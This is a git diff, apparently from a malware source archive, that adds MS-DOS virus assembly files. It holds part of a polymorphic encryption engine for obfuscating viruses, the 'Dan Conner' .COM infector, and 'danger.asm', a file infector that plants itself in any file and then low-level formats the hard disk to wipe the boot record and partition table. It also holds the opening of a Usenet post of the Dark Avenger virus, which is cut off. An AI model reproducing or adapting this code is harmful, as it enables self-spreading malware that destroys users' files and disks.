clear_PIQ_call_pop ; 1/4 chance of CALL/POP + dec ax + jz clear_PIQ_jmp_short ; 1/4 chance of JMP SHORT + + mov al,0e9 ; Otherwise do a straight JMP +clear_PIQ_word: ; Handler if offset is a word + stosb ; Store the JMP or CALL + xchg ax,dx ; Offset to AX + stosw ; Encode it +clear_PIQ_byte: ; Encode AX random bytes + push cx + xchg ax,cx ; Offset to CX + jcxz random_encode_done ; Exit if no bytes in between +random_encode_loop: + call get_rand ; Get a random number + stosb ; Store it and then do this + loop random_encode_loop ; again +random_encode_done: + pop cx + ret + +clear_PIQ_jmp_short: + mov al,0ebh ; JMP SHORT + stosb ; Encode the instruction + xchg ax,dx + stosb ; and the offset + jmp short clear_PIQ_byte ; Encode intervening bytes + +clear_PIQ_call_pop: + mov al,0e8 ; CALL + call clear_PIQ_word ; Encode instruction, garbage + call garble ; Garble some and then find + call get_another ; an unused register + call clear_reg ; keep it unused + jmp short _pop ; and POP into it + +twogarble: ; Garble twice + mov _nest,0 ; Reset nest count + call garble ; Garble once +garble: ; ax, dx preserved ; Garble + call free_regs ; Are there any unused + jne return ; registers? + + test cl,2 ; Is garbling enabled? + jz return ; Exit if not + + push ax dx si + + call get_rand ; Get a random number into + xchg ax,dx ; DX + call get_another ; And a random reg into AX + call clear_reg ; Don't mark register as used + + mov si,offset garbletable ; Garble away + jmp short handle_jmp_table_nopush + +handle_jmp_table: ; ax,dx preserved ; This is the master dispatch + call garble ; Garble before encoding +handle_jmp_table_nogarble: ; Encode it + push ax dx si +handle_jmp_table_nopush: + push ax + lodsb ; Get table mask + cbw ; Clear high byte + call get_rand_bx ; Get random number + and bx,ax ; Get random routine + pop ax + + test cl,4 ; Short decryptor? + jnz doshort ; If so, use first routine + + inc _nest ; Update nest count + push ax + mov al,_maxnest + cmp _nest,al ; Are we too far? + pop ax + jb not_max_nest ; If so, then use the first +doshort:xor bx,bx ; routine in the table +not_max_nest: + push bx ; Save routine to be called + call [bx+si] ; Call the routine + pop bx si dx ax + ret + +garble_tworeg: +; Garble unused register with the contents of a random register. + mov si,offset tworegtable ; Use reg_reg table + and dx,7 ; Convert to random register # + jmp short handle_jmp_table_nogarble ; Garble away + +garble_onereg: +; Garble unused register with a random value (DX). + mov si,offset oneregtable ; Point to the table + jmp short handle_jmp_table_nogarble ; and garble + +_push: ; Encode a PUSH + or al,al ; PUSHing memory register? + js _push_mem + call one_in_two ; 1/2 chance of two-byte PUSH + js _push_mem + add al,50 ; otherwise it's really easy + stosb + ret +_push_mem: + add ax,0ff30 + jmp short go_mod_xxx_rm1 + +_pop: ; Encode a POP + or al,al ; POPing a memory register? + js _pop_mem + call one_in_two ; 1/2 chance of two-byte POP + js _pop_mem + add al,58 + stosb + ret +_pop_mem: + mov ah,8f +go_mod_xxx_rm1: + jmp mod_xxx_rm + +mov_reg_xxxx: ; ax and dx preserved + mov si,offset mov_reg_xxxx_table +go_handle_jmp_table1: + jmp short handle_jmp_table + +_mov_reg_xxxx_mov_add: + call get_rand_bx ; Get a random number + push bx ; Save it + sub dx,bx ; Adjust MOV amount + call mov_reg_xxxx ; MOV to register + pop dx ; Get random number + jmp short go_add_reg_xxxx ; Add it to the register + +_mov_reg_xxxx_mov_al_ah: + cmp al,_sp + jae _mov_reg_xxxx + push ax dx + call _mov_al_xx + pop dx ax + xchg dh,dl + jmp short _mov_ah_xx + +_mov_reg_xxxx_mov_xor: + call get_rand_bx + push bx + xor dx,bx + call mov_reg_xxxx + pop dx + jmp xor_reg_xxxx + +_mov_reg_xxxx_xor_add: + push dx + mov dx,ax + call xor_reg_reg + pop dx +go_add_reg_xxxx: + jmp add_reg_xxxx + +_mov_reg_xxxx_mov_rol: + ror dx,1 + call mov_reg_xxxx + jmp short _rol + +_mov_reg_xxxx_mov_ror: + rol dx,1 + call mov_reg_xxxx +_ror: + or al,8 +_rol: + mov ah,0d1 + jmp short go_mod_xxx_rm1 + + +_mov_reg_xxxx: + call one_in_two ; 1/2 chance of a four byte MOV + js _mov_reg_xxxx1 + + add al,0B8 + stosb + xchg ax,dx + stosw + ret +_mov_reg_xxxx1: ; Do the four byte register MOV + mov ah,0c7 + jmp mod_xxx_rm_stosw + +mov_ah_xx: +_mov_ah_xx: + add al,04 +mov_al_xx: +_mov_al_xx: + add al,0B0 + mov ah,dl + stosw + ret + +mov_reg_reg: ; ax, dx preserved + mov si,offset mov_reg_reg_table + jmp short go_handle_jmp_table1 + +_mov_reg_reg_push_pop: + push ax + xchg dx,ax + call _push ; PUSH REG2 + pop ax + jmp _pop ; POP REG1 + +_mov_reg_reg: + mov ah,08Bh + jmp short _mod_reg_rm_direction + +mov_xchg_reg_reg: + call one_in_two + js mov_reg_reg + +xchg_reg_reg: ; ax, dx preserved + mov si,offset xchg_reg_reg_table +go_handle_jmp_table2: + jmp short go_handle_jmp_table1 + +_xchg_reg_reg_push_pop: + push dx ax dx + call _push ; PUSH REG1 + pop ax + call _push ; PUSH REG2 + pop ax + call _pop ; POP REG1 + pop ax + jmp _pop ; POP REG2 + +_xchg_reg_reg_3rd_reg: + call free_regs + jne _xchg_reg_reg + + push dx ax + call get_another ; Get free register (reg3) + call mov_xchg_reg_reg ; MOV/XCHG REG3,REG2 + pop dx + call xchg_reg_reg ; XCHG REG3,REG1 + pop dx + xchg ax,dx + call mov_xchg_reg_reg ; MOV/XCHG REG2,REG3 + jmp clear_reg_dx + +_xchg_reg_reg: + or al,al + js __xchg_reg_reg + + cmp al,dl + jg _xchg_reg_reg_skip + xchg al,dl +_xchg_reg_reg_skip: + or dl,dl + jz _xchg_ax_reg +__xchg_reg_reg: + xchg al,dl + mov ah,87 + jmp short _mod_reg_rm +_xchg_ax_reg: + add al,90 + stosb + ret + +xor_reg_xxxx_xor_xor: + call get_rand_bx + push bx + xor dx,bx + call xor_reg_xxxx + pop dx + jmp short xor_reg_xxxx + +xor_reg_xxxx: + mov si,offset xor_reg_xxxx_table + jmp short go_handle_jmp_table2 + +_xor_reg_xxxx: + or al,030 + jmp _81h_ + +xor_reg_reg: + mov si,offset xor_reg_reg_table +go_handle_jmp_table3: + jmp short go_handle_jmp_table2 + +_xor_reg_reg: + mov ah,33 +; The following is the master encoder. It handles most traditional encodings +; with mod/reg/rm or mod/xxx/rm. +_mod_reg_rm_direction: + or al,al ; If al is a memory pointer, + js dodirection ; then we need to swap regs + or dl,dl ; If dl is a memory pointer, + js _mod_reg_rm ; we cannot swap registers + call one_in_two ; Otherwise there is a 50% + js _mod_reg_rm ; chance of swapping registers +dodirection: + xchg al,dl ; Swap the registers and adjust + sub ah,2 ; the opcode to compensate +_mod_reg_rm: + shl al,1 ; Move al to the reg field + shl al,1 + shl al,1 + or al,dl ; Move dl to the rm field +mod_xxx_rm: + or al,al ; Is al a memory pointer? + js no_no_reg ; If so, skip next line + + or al,0c0 ; Mark register in mod field +no_no_reg: + xchg ah,al + + test ah,40 + jnz exit_mod_reg_rm + + test cl,1 + jnz continue_mod_xxx_rm + + push ax + mov al,2e + stosb + pop ax +continue_mod_xxx_rm: + stosw + + mov si,cs:[bp] ; Store the patch location + add si,si ; for the memory in the + mov cs:[si+bp+2],di ; appropriate table for later + inc word ptr cs:[bp] ; adjustment + ; cs: overrides needed for bp + mov al,_relocate_amt + cbw +exit_mod_reg_rm: + stosw + ret + +add_reg_reg: + mov si,offset add_reg_reg_table + jmp short go_handle_jmp_table3 + +_add_reg_reg: + mov ah,3 + jmp short _mod_reg_rm_direction + +sub_reg_reg: + mov si,offset sub_reg_reg_table +go_handle_jmp_table4: + jmp short go_handle_jmp_table3 + +_sub_reg_reg: + mov ah,2bh + jmp short _mod_reg_rm_direction + +_add_reg_xxxx_inc_add: + call inc_reg + dec dx + jmp short add_reg_xxxx + +_add_reg_xxxx_dec_add: + call dec_reg + inc dx + jmp short add_reg_xxxx + +_add_reg_xxxx_add_add: + call get_rand_bx + push bx + sub dx,bx + call add_reg_xxxx + pop dx + jmp short add_reg_xxxx + +add_reg_xxxx1: + neg dx +add_reg_xxxx: + or dx,dx + jnz cont +return1: + ret +cont: + mov si,offset add_reg_xxxx_table + jmp go_handle_jmp_table4 + +_add_reg_xxxx: + or al,al + jz _add_ax_xxxx +_81h_: + or al,al + js __81h + add al,0c0 +__81h: + mov ah,81 +mod_xxx_rm_stosw: + call mod_xxx_rm +_encode_dx_: + xchg ax,dx + stosw + ret +_add_ax_xxxx: + mov al,5 +_encode_al_dx_: + stosb + jmp short _encode_dx_ + +sub_reg_xxxx1: + neg dx +sub_reg_xxxx: +_sub_reg_xxxx: + or dx,dx ; SUBtracting anything? + jz return1 ; If not, we are done + + or al,al ; SUB AX, XXXX? + jz _sub_ax_xxxx ; If so, we encode in 3 bytes + add al,028 ; Otherwise do the standard + jmp short _81h_ ; mod/reg/rm deal +_sub_ax_xxxx: + mov al,2dh + jmp short _encode_al_dx_ + +dec_reg: + push ax + add al,8 + jmp short _dec_inc_reg +inc_reg: + push ax +_dec_inc_reg: + or al,al + jns _norm_inc + mov ah,0ff + call mod_xxx_rm + pop ax + ret +_norm_inc: + add al,40 + stosb + pop ax + ret + +_mov_reg_reg_3rd_reg: + mov bx,offset mov_reg_reg + mov si,offset mov_xchg_reg_reg + or al,al ; Is reg1 a pointer register? + js reg_to_reg1 ; If so, we cannot use XCHG + jmp short reg_to_reg + +xor_reg_reg_reg_reg: + mov bx,offset _xor_reg_reg + jmp short reg_to_reg1 +add_reg_reg_reg_reg: + mov bx,offset _add_reg_reg + jmp short reg_to_reg1 +sub_reg_reg_reg_reg: + mov bx,offset _sub_reg_reg +reg_to_reg1: + mov si,bx +reg_to_reg: + call free_regs + jne no_free_regs + + push ax si + call get_another ; Get unused register (reg3) + call mov_reg_reg ; MOV REG3,REG2 + pop si dx + xchg ax,dx +finish_reg_clear_dx: + push dx + call si + pop ax + jmp clear_reg + +_xor_reg_xxxx_reg_reg: + mov bx,offset xor_reg_xxxx + mov si,offset xor_reg_reg +xxxx_to_reg: + call free_regs + jne no_free_regs + + push ax si + call get_another ; Get unused register (reg3) + call mov_reg_xxxx ; MOV REG3,XXXX + xchg ax,dx + pop si ax + + jmp short finish_reg_clear_dx +no_free_regs: + jmp bx + +_add_reg_xxxx_reg_reg: + mov bx,offset add_reg_xxxx + mov si,offset add_reg_reg + jmp short xxxx_to_reg + +_mov_reg_xxxx_reg_reg: + mov bx,offset mov_reg_xxxx + mov si,offset mov_xchg_reg_reg + jmp short xxxx_to_reg + +; The following are a collection of tables used by the various encoding +; routines to determine which routine will be used. The first line in each +; table holds the mask for the encoding procedure. The second line holds the +; default routine which is used when nesting is disabled. The number of +; entries in each table must be a power of two. To adjust the probability of +; the occurence of any particular routine, simply vary the number of times it +; appears in the table relative to the other routines. + +; The following table governs garbling. +garbletable: + db garbletableend - $ - 3 + dw offset return + dw offset return + dw offset return + dw offset return + dw offset return + + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_onereg + dw offset garble_onereg + dw offset garble_onereg + + dw offset garble_onebyte + dw offset garble_onebyte + dw offset garble_onebyte + dw offset garble_jmpcond + + dw offset clear_PIQ +garbletableend: + +; This table is used by the one byte garbler. It is intuitively obvious. +onebytetable: + clc + cmc + stc + cld + std + sti + int 3 + lock + +; This table is used by the one register garbler. When each of the functions +; in the table is called, ax holds a random, unused register, and dx holds a +; random number. +oneregtable: + db oneregtableend - $ - 3 + dw offset xor_reg_xxxx + dw offset mov_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtableend: + +; This table is used to determine the decryption method +oneregtable1: ; dx = random # + db oneregtable1end - $ - 3 + dw offset xor_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtable1end: + +; This table is used to determine the encryption method +oneregtable2: ; dx = random # + db oneregtable2end - $ - 3 + dw offset xor_reg_xxxx + dw offset add_reg_xxxx + dw offset sub_reg_xxxx + dw offset sub_reg_xxxx + dw offset inc_reg + dw offset dec_reg + dw offset _rol + dw offset _ror +oneregtable2end: + +tworegtable: ; dl = any register + db tworegtableend - $ - 3 + dw offset xor_reg_reg + dw offset mov_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtableend: + +tworegtable1: ; dl = any register + db tworegtable1end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtable1end: + +tworegtable2: ; dl = any register + db tworegtable2end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset add_reg_reg + dw offset sub_reg_reg +tworegtable2end: + +mov_reg_xxxx_table: + db mov_reg_xxxx_table_end - $ - 3 + dw offset _mov_reg_xxxx + dw offset _mov_reg_xxxx_reg_reg + dw offset _mov_reg_xxxx_mov_add + dw offset _mov_reg_xxxx_mov_al_ah + dw offset _mov_reg_xxxx_mov_xor + dw offset _mov_reg_xxxx_xor_add + dw offset _mov_reg_xxxx_mov_rol + dw offset _mov_reg_xxxx_mov_ror + +mov_reg_xxxx_table_end: + +mov_reg_reg_table: + db mov_reg_reg_table_end - $ - 3 + dw offset _mov_reg_reg + dw offset _mov_reg_reg + dw offset _mov_reg_reg_3rd_reg + dw offset _mov_reg_reg_push_pop +mov_reg_reg_table_end: + +xchg_reg_reg_table: + db xchg_reg_reg_table_end - $ - 3 + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg_push_pop + dw offset _xchg_reg_reg_3rd_reg +xchg_reg_reg_table_end: + +xor_reg_xxxx_table: + db xor_reg_xxxx_table_end - $ - 3 + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx_reg_reg + dw offset xor_reg_xxxx_xor_xor +xor_reg_xxxx_table_end: + +xor_reg_reg_table: + db xor_reg_reg_table_end - $ - 3 + dw offset _xor_reg_reg + dw offset xor_reg_reg_reg_reg +xor_reg_reg_table_end: + +add_reg_reg_table: + db add_reg_reg_table_end - $ - 3 + dw offset _add_reg_reg + dw offset add_reg_reg_reg_reg +add_reg_reg_table_end: + +sub_reg_reg_table: + db sub_reg_reg_table_end - $ - 3 + dw offset _sub_reg_reg + dw offset sub_reg_reg_reg_reg +sub_reg_reg_table_end: + +add_reg_xxxx_table: + db add_reg_xxxx_table_end - $ - 3 + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx_reg_reg + dw offset sub_reg_xxxx1 + dw offset _add_reg_xxxx_inc_add + dw offset _add_reg_xxxx_dec_add + dw offset _add_reg_xxxx_add_add + dw offset _add_reg_xxxx_add_add + +add_reg_xxxx_table_end: + +endif + +if not vars eq 0 ; if (vars != 0) + +; _nest is needed to prevent the infinite recursion which is possible in a +; routine such as the one used by DAME. If this value goes above the +; threshold value (defined as MAXNEST), then no further garbling/obfuscating +; will occur. +_nest db ? + +; This is used by the routine mod_reg_rm when encoding memory accessing +; instructions. The value in _relocate_amt is later added to the relocation +; value to determine the final value of the memory adjustment. For example, +; we initially have, as the encryption instruction: +; add [bx+0],ax +; Let's say _relocate_amt is set to 2. Now the instruction reads: +; add [bx+2],ax +; Finally, the relocate procedure alters this to: +; add [bx+202],ax +; or whatever the appropriate value is. +; +; This value is used in double word encryptions. +_relocate_amt db ? + +; Various memory locations which we must keep track of for calculations: +_loopstartencrypt dw ? +_loopstartdecrypt dw ? + +_encryptpointer dw ? +_decryptpointer dw ? + +_decryptpointer2 dw ? + +_start_encrypt dw ? +_start_decrypt dw ? + beginclear1: + +; _used_regs is the register tracker. Each byte corresponds to a register. +; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it +; is zero, then the register's current value is unimportant to the routine. +; If it is any other value, then the routine should not play with the value +; contained in the register (at least without saving it first). +_used_regs db 8 dup (?) ; 0 = unused + +; The following four variables contain the addresses in current memory which +; contain the patch locations for the memory addressing instructions, i.e. +; XOR WORD PTR [bx+3212],3212 +; It is used at the end of the master encoding routine. +_encrypt_relocate_num dw ? +_encrypt_relocator dw 8 dup (?) + +_decrypt_relocate_num dw ? +_decrypt_relocator dw 10 dup (?) + endclear1: + +_encrypt_length dw ? ; The number of bytes to encrypt + ; (based upon alignment) +_counter_value dw ? ; Forwards or backwards +_decrypt_value dw ? ; Not necessarily the crypt key +_pointer_value1 dw ? ; Pointer register 1's initial value +_pointer_value2 dw ? ; Pointer register 2's initial value + +_counter_reg db ? +_encrypt_reg db ? +_pointer_reg1 db ? ; 4 = not in use +_pointer_reg2 db ? + +_pointer_rm db ? ; Holds r/m value for pointer registers +_maxnest db ? + +_kludge dw ? + +endif diff --git a/MSDOS/Virus.MSDOS.Unknown.dan.asm b/MSDOS/Virus.MSDOS.Unknown.dan.asm new file mode 100644 index 00000000..6c87976f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dan.asm @@ -0,0 +1,121 @@ +; Dan Conner written by MuTaTiON INTERRUPT +; To compile this use TASM /M dan.asm +;--------- + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [oldint24],bx ; Save it + mov word ptr [oldint24+2],es + + mov ah,25h ; Set new int 24 handler + mov dx,offset int24 ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov dx,offset comfilespec + call findfirst + + mov ah,9 ; Display string + mov dx,offset virusname + int 21h + + mov ax,2524h ; Restore int 24 handler + mov dx,offset oldint24 ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + int 20h ; quit program + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: +quitinfect: + ret + +FinishInfection: + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write virus to file + mov cx,eof-virus ; Size of virus + mov dx,100 + int 21h + +closefile: + mov ax,5701h ; Set files date/time back + push bx + mov cx,word ptr [bx]+16h ; Get old time from dta + mov dx,word ptr [bx]+18h ; Get old date + pop bx + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov bx,80h + mov cl,byte ptr [bx]+15h ; Get old Attributes + call attributes + + retn + +open: + mov ah,3dh ; open file + mov dx,80h+30 + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + mov dx,80h+30 + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Dan Conner - Anything You Say Dear...',10,13 +Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus +Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this + db 'Hey: I LOVE ROSEANNE!','$' + +comfilespec db '*.com',0 ; Holds type of file to look for + +eof equ $ ; Marks the end of file + +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.danger.asm b/MSDOS/Virus.MSDOS.Unknown.danger.asm new file mode 100644 index 00000000..ad99a410 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.danger.asm @@ -0,0 +1,284 @@ +;This program is a virus that infects all files, not just executables. It gets +;the first five bytes of its host and stores them elsewhere in the program and +;puts a jump to it at the start, along with the letters "GR", which are used to +;by the virus to identify an already infected program. The virus also save +;target file attributes and restores them on exit, so that date & time stamps +;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants. +;when it runs out of philes to infect, it will do a low-level format of the HDD +;starting with the partition table. + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + + ORG 100H + +;This is a shell of a program which will release the virus into the system. +;All it does is jump to the virus routine, which does its job and returns to +;it, at which point it terminates to DOS. + +HOST: + jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly + db 'GR' + mov ah,4CH + mov al,0 + int 21H ;terminate normally with DOS + +VIRUS: ;this is a label for the first byte of the virus + +COMFILE DB '*.*',0 ;search string for any file +DSTRY DB 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2 +FATTR DB 0 +FTIME DW 0 +FDATE DW 0 + +VIRUS_START: + call GET_START ;get start address - this is a trick to determine the location of the start of this program +GET_START: ;put the address of GET_START on the stack with the call, + sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS + mov dx,OFFSET DTA ;put DTA at the end of the virus for now + mov ah,1AH ;set new DTA function + int 21H + call FIND_FILE ;get a file to attack + jnz DESTROY ;returned nz - go to destroy routine + call SAV_ATTRIB + call INFECT ;have a good file to use - infect it + call REST_ATTRIB +EXIT_VIRUS: + mov dx,80H ;fix the DTA so that the host program doesn't + mov ah,1AH ;get confused and write over its data with + int 21H ;file i/o or something like that! + mov bx,[VIR_START] ;get the start address of the virus + mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes + mov WORD PTR [HOST],ax ;of the COM file to their + mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file + mov WORD PTR [HOST+2],ax + mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file + mov BYTE PTR [HOST+4],al + mov [VIR_START],100H ;set up stack to do return to host program + ret ;and return to host + +START_CODE: ;move first 5 bytes from host program to here + nop ;nop's for the original assembly code + nop ;will work fine + nop + nop + nop + +;-------------------------------------------------------------------------- +DESTROY: + mov AH,05H ;format hard disk starting at sector + mov DL,80H ;0 and continuing through sector 16 + mov DH,0H ;this should wipe out the master boot + mov CX,0000H ;record & partition table + + + mov AL,11H ;low-level format information stored + mov BX,OFFSET DSTRY ;at this OFFSET in the syntax 1,2,3,4, + int 13H ;where 1=track number,2=head number,3=sector number + ;and 4=bytes/sector with 2=512 bytes/sector + ret +;--------------------------------------------------------------------------- +;--------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +;Find a file which passes FILE_OK +; +;This routine does a simple directory search to find a COM file in the +;current directory, to find a file for which FILE_OK returns with C reset. +; +FIND_FILE: + mov dx,[VIR_START] + add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it + mov cx,3FH ;search for any file, no matter what the attributes + mov ah,4EH ;do DOS search first function + int 21H +FF_LOOP: + or al,al ;is DOS return OK? + jnz FF_DONE ;no - quit with Z reset + call FILE_OK ;return ok - is this a good file to use? + jz FF_DONE ;yes - valid file found - exit with z set + mov ah,4FH ;not a valid file, so + int 21H ;do find next function + jmp FF_LOOP ;and go test next file for validity +FF_DONE: + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the file specified in FNAME is useable. +;if so return z, else return nz. +;What makes a phile useable?: +; a) There must be space for the virus without exceeding the +; 64 KByte file size limit. +; b) Bytes 0, 3 and 4 of the file are not a near jump op code, +; and 'G', 'R', respectively +; +FILE_OK: + mov ah,43H ;the beginning of this + mov al,0 ;routine gets the file's + mov dx,OFFSET FNAME ;attribute and changes it + int 21H ;to r/w access so that when + mov [FATTR],cl ;it comes time to open the + mov ah,43H ;file, the virus can easily + mov al,1 ;defeat files with a 'read only' + mov dx,OFFSET FNAME ;attribute. It leaves the file r/w, + mov cl,0 ;because who checks that, anyway? + int 21H + mov dx,OFFSET FNAME + mov al,2 + mov ax,3D02H ;r/w access open file, since we'll want to write to it + int 21H + jc FOK_NZEND ;error opening file - quit and say this file can't be used (probably won't happen) + mov bx,ax ;put file handle in bx + push bx ;and save it on the stack + mov cx,5 ;next read 5 bytes at the start of the program + mov dx,OFFSET START_IMAGE ;and store them here + mov ah,3FH ;DOS read function + int 21H + + pop bx ;restore the file handle + mov ah,3EH + int 21H ;and close the file + + mov ax,WORD PTR [FSIZE] ;get the file size of the host + add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it + jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K + cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code? + jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set + cmp WORD PTR [START_IMAGE+3],5247H ;ok, is 'GR' in positions 3 & 4? + jnz FOK_ZEND ;no, file can be infected, return with Z set +FOK_NZEND: + mov al,1 ;we'd better not infect this file + or al,al ;so return with z reset + ret +FOK_ZEND: + xor al,al ;ok to infect, return with z set + ret + +;-------------------------------------------------------------------------- +SAV_ATTRIB: + mov ah,43H + mov al,0 + mov dx,OFFSET FNAME + int 21H + mov [FATTR],cl + mov ah,43H + mov al,1 + mov dx, OFFSET FNAME + mov cl,0 + int 21H + mov dx,OFFSET FNAME + mov al,2 + mov ah,3DH + int 21H + mov [HANDLE],ax + mov ah,57H + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx + mov [FDATE],dx + mov ax,WORD PTR [DTA+28] + mov WORD PTR [FSIZE+2],ax + mov ax,WORD PTR [DTA+26] + mov WORD PTR [FSIZE],ax + ret +;------------------------------------------------------------------ +REST_ATTRIB: + mov dx,[FDATE] + mov cx, [FTIME] + mov ah,57H + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H + mov al,1 + mov dx,OFFSET FNAME + int 21H + + mov ah,31H ;terminate/stay resident + mov al,0 ;and set aside 50 16-byte + mov dx,0032H ;pages in memory, just + int 21H ;to complicate things for the user + ;they might not notice this too quick! + ret +;--------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the file +;Basically, it just copies everything here to there, and then goes and +;adjusts the 5 bytes at the start of the program and the five bytes stored +;in memory. +; +INFECT: + xor cx,cx ;prepare to write virus on new file; positon file pointer + mov dx,cx ;cx:dx pointer = 0 + mov bx,WORD PTR [HANDLE] + mov ax,4202H ;locate pointer to end DOS function + int 21H + + mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write + mov dx,[VIR_START] ;ds:dx = place in memory to write from + mov bx,WORD PTR [HANDLE] ;bx = file handle + mov ah,40H ;DOS write function + int 21H + + xor cx,cx ;now we have to go save the 5 bytes which came from the start of the + mov dx,WORD PTR [FSIZE] ;so position the file pointer + add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus + mov bx,WORD PTR [HANDLE] + mov ax,4200H ;and use DOS to position the file pointer + int 21H + + mov cx,5 ;now go write START_CODE in the file + mov bx,WORD PTR [HANDLE] ;get file handle + mov dx,OFFSET START_IMAGE ;during the FILE_OK function above + mov ah,40H + int 21H + + xor cx,cx ;now go back to the start of host program + mov dx,cx ;so we can put the jump to the virus in + mov bx,WORD PTR [HANDLE] + mov ax,4200H ;locate file pointer function + int 21H + + mov bx,[VIR_START] ;calculate jump location for start of code + mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9 + mov ax,WORD PTR [FSIZE] ;and then the relative address + add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area + mov WORD PTR [START_IMAGE+1],ax + mov WORD PTR [START_IMAGE+3],5247H ;and put 'GR' ID code in + + mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE + mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE + mov bx,WORD PTR [HANDLE] ;file handle + mov ah,40H ;DOS write function + int 21H + + ret ;all done, the virus is transferred + +FINAL: ;label for last byte of code to be kept in virus when it moves + +ENDVIRUS EQU $ + 212 ;label for determining space needed by virus + ;Note: 212 = FFFF - FF2A - 1 = size of data space + ; $ gives approximate size of code required for virus + + ORG 0FF2AH + +DTA DB 1AH dup (?) ;this is a work area for the search function +FSIZE DW 0,0 ;file size storage area +FNAME DB 13 dup (?) ;area for file path +HANDLE DW 0 ;file handle +START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file +VSTACK DW 50H dup (?) ;stack for the virus program +VIR_START DW (?) ;start address of VIRUS (overlays the stack) + + +MAIN ENDS + + + END HOST \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.dark.asm b/MSDOS/Virus.MSDOS.Unknown.dark.asm new file mode 100644 index 00000000..03f9924c Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.dark.asm differ diff --git a/MSDOS/Virus.MSDOS.Unknown.darkapoc.asm b/MSDOS/Virus.MSDOS.Unknown.darkapoc.asm new file mode 100644 index 00000000..5a3831fe Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.darkapoc.asm differ diff --git a/MSDOS/Virus.MSDOS.Unknown.darkav.asm b/MSDOS/Virus.MSDOS.Unknown.darkav.asm new file mode 100644 index 00000000..f76fc1b1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darkav.asm @@ -0,0 +1,1033 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:15 1994 +Xref: netcom.com alt.comp.virus:509 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: Dark Avenger Virus +Date: 29 Nov 1994 13:13:46 GMT +Organization: Netcom +Lines: 1018 +Distribution: world +Message-ID: 